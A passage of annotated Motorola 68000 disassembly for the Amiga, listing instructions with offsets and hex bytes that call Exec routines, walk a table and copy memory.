  577.     MOVE.L    LAB_0013+2(PC),D0    ;558: 203AFBE8
  578.     SUB.L    D0,16(A5)        ;55C: 91AD0010
  579.     BRA.S    LAB_004F        ;560: 6030
  580. LAB_004C:
  581.     PEA    LAB_001F(PC)        ;562: 487AFC6E
  582. LAB_004D:
  583.     MOVE.L    D0,32(A5)        ;566: 2B400020
  584.     PEA    $800003EB        ;56A: 4879800003EB
  585.     MOVE.L    A7,D1            ;570: 220F
  586.     DC.W    $2C7A            ;572
  587.     ORI    #$4EAE,SR        ;574: 007C4EAE
  588.     DC.W    $FE0E            ;578
  589.     MOVEA.L    (ABSEXECBASE).W,A6    ;57A: 2C780004
  590.     TST.L    D0            ;57E: 4A80
  591.     BEQ.S    LAB_004E        ;580: 670E
  592.     MOVEQ    #92,D1            ;582: 725C
  593.     ADD.L    D1,D0            ;584: D081
  594.     MOVE.L    -(A5),40(A5)        ;586: 2B650028
  595.     MOVE.L    D0,(A5)            ;58A: 2A80
  596.     MOVE.L    D0,14(A3)        ;58C: 2740000E
  597. LAB_004E:
  598.     ADDQ    #8,A7            ;590: 504F
  599. LAB_004F:
  600.     ADDQ    #4,A7            ;592: 584F
  601.     MOVE.L    A3,(A7)            ;594: 2E8B
  602.     JSR    -132(A6)        ;596: 4EAEFF7C
  603.     SUBA.L    A5,A5            ;59A: 9BCD
  604.     DC.W    $287A            ;59C
  605.     ORI    #$286C,(A2)        ;59E: 0052286C
  606.     DC.W    $0022            ;5A2
  607.     MOVE.L    24(A4),D1        ;5A4: 222C0018
  608.     LSL.L    #2,D1            ;5A8: E589
  609.     MOVE.L    4(A5,D1.L),D1        ;5AA: 22351804
  610.     BRA.S    LAB_0051        ;5AE: 6012
  611. LAB_0050:
  612.     MOVEM.L    0(A5,D1.L),D1-D2/A1    ;5B0: 4CF502061800
  613.     SUBQ.L    #2,D2            ;5B6: 5582
  614.     BNE.S    LAB_0051        ;5B8: 6608
  615.     PEA    LAB_0044(PC)        ;5BA: 487AFEFC
  616.     MOVE.L    (A7)+,88(A1)        ;5BE: 235F0058
  617. LAB_0051:
  618.     LSL.L    #2,D1            ;5C2: E589
  619.     BNE.S    LAB_0050        ;5C4: 66EA
  620.     JSR    -138(A6)        ;5C6: 4EAEFF76
  621.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;5CA: 4CDF7FFF
  622.     RTS                ;5CE: 4E75
  623. LAB_0052:
  624.     MOVEA.L    D1,A1            ;5D0: 2241
  625.     MOVE.L    (A1)+,D0        ;5D2: 2019
  626.     SUB.L    (A1),D0            ;5D4: 9091
  627.     CMP.L    D0,D3            ;5D6: B680
  628.     BGE.S    LAB_0053        ;5D8: 6C02
  629.     MOVE.L    D3,D0            ;5DA: 2003
  630. LAB_0053:
  631.     MOVE.L    D0,D1            ;5DC: 2200
  632.     MOVEA.L    (A1),A0            ;5DE: 2051
  633.     ADD.L    D0,(A1)            ;5E0: D191
  634.     MOVEA.L    D2,A1            ;5E2: 2242
  635.     BRA.S    LAB_0055        ;5E4: 6002
  636. LAB_0054:
  637.     MOVE.B    (A0)+,(A1)+        ;5E6: 12D8
  638. LAB_0055:
  639.     DBF    D1,LAB_0054        ;5E8: 51C9FFFC
  640.     END
  641.